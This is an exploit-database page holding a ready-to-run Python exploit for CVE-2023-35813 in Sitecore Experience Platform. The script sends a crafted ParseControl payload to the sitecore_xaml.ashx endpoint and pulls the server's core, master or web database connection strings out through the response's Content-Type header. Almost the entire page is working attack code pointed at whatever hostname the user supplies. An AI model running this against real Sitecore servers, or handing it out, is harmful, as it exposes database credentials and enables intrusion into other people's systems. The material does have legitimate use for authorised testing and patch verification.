Sitecore remote code execution v8.2 Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2024-03-11 | Type : webapps | Platform : aspx

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[+] Code ...

#!/usr/bin/env python3
#
# Exploit Title: Sitecore - Remote Code Execution v8.2
# Exploit Author: abhishek morla
# Google Dork: N/A
# Date: 2024-01-08
# Vendor Homepage: https://www.sitecore.com/
# Software Link: https://dev.sitecore.net/
# Version: 10.3
# Tested on: windows64bit / mozila firefox
# CVE : CVE-2023-35813
# The vulnerability impacts all Experience Platform topologies (XM, XP, XC) from 9.0 Initial Release to 10.3 Initial Release; 8.2 is also impacted
# Blog : https://medium.com/@abhishekmorla/uncovering-cve-2023-35813-retrieving-core-connection-strings-in-sitecore-5502148fce09
# Video POC : https://youtu.be/vWKl9wgdTB0

import argparse
import requests
from urllib.parse import quote
from rich.console import Console

console = Console()
def initial_test(hostname):
# Initial payload to test vulnerability
test_payload = '''
<%@Register
TagPrefix = 'x'
Namespace = 'System.Runtime.Remoting.Services'
Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
%>
<x:RemotingService runat='server'
Context-Response-ContentType='TestVulnerability'
/>
'''
encoded_payload = quote(test_payload)

url = f"https://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

response = requests.post(url, headers=headers, data=data, verify=False)

# Check for the test string in the Content-Type of the response
return 'TestVulnerability' in response.headers.get('Content-Type', '')

def get_payload(choice):
# Payload templates for different options
payloads = {
'1': "<%$ ConnectionStrings:core %>",
'2': "<%$ ConnectionStrings:master %>",
'3': "<%$ ConnectionStrings:web %>"
}

base_payload = '''
<%@Register
TagPrefix = 'x'
Namespace = 'System.Runtime.Remoting.Services'
Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
%>
<x:RemotingService runat='server'
Context-Response-ContentType='{}'
/>
'''

return base_payload.format(payloads.get(choice, "Invalid"))

def main(hostname):
if initial_test(hostname):
print("Exploiting, Please wait...")
console.print("[bold green]The target appears to be vulnerable. Proceed with payload selection.[/bold green]")
print("Select the payload to use:")
print("1: Core connection strings")
print("2: Master connection strings")
print("3: Web connection strings")
payload_choice = input("Enter your choice (1, 2, or 3): ")

payload = get_payload(payload_choice)
encoded_payload = quote(payload)

url = f"http://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

response = requests.post(url, headers=headers, data=data)

if 'Content-Type' in response.headers:
print("Content-Type from the response header:")
print("\n")
print(response.headers['Content-Type'])
else:
print("No Content-Type in the response header. Status Code:", response.status_code)
else:
print("The target does not appear to be vulnerable to CVE-2023-35813.")


if __name__ == "__main__":
console.print("[bold green]Author: Abhishek Morla[/bold green]")
console.print("[bold red]CVE-2023-35813[/bold red]")
parser = argparse.ArgumentParser(description='Test for CVE-2023-35813 vulnerability in Sitecore')
parser.add_argument('hostname', type=str, help='Hostname of the target Sitecore instance')
args = parser.parse_args()

main(args.hostname)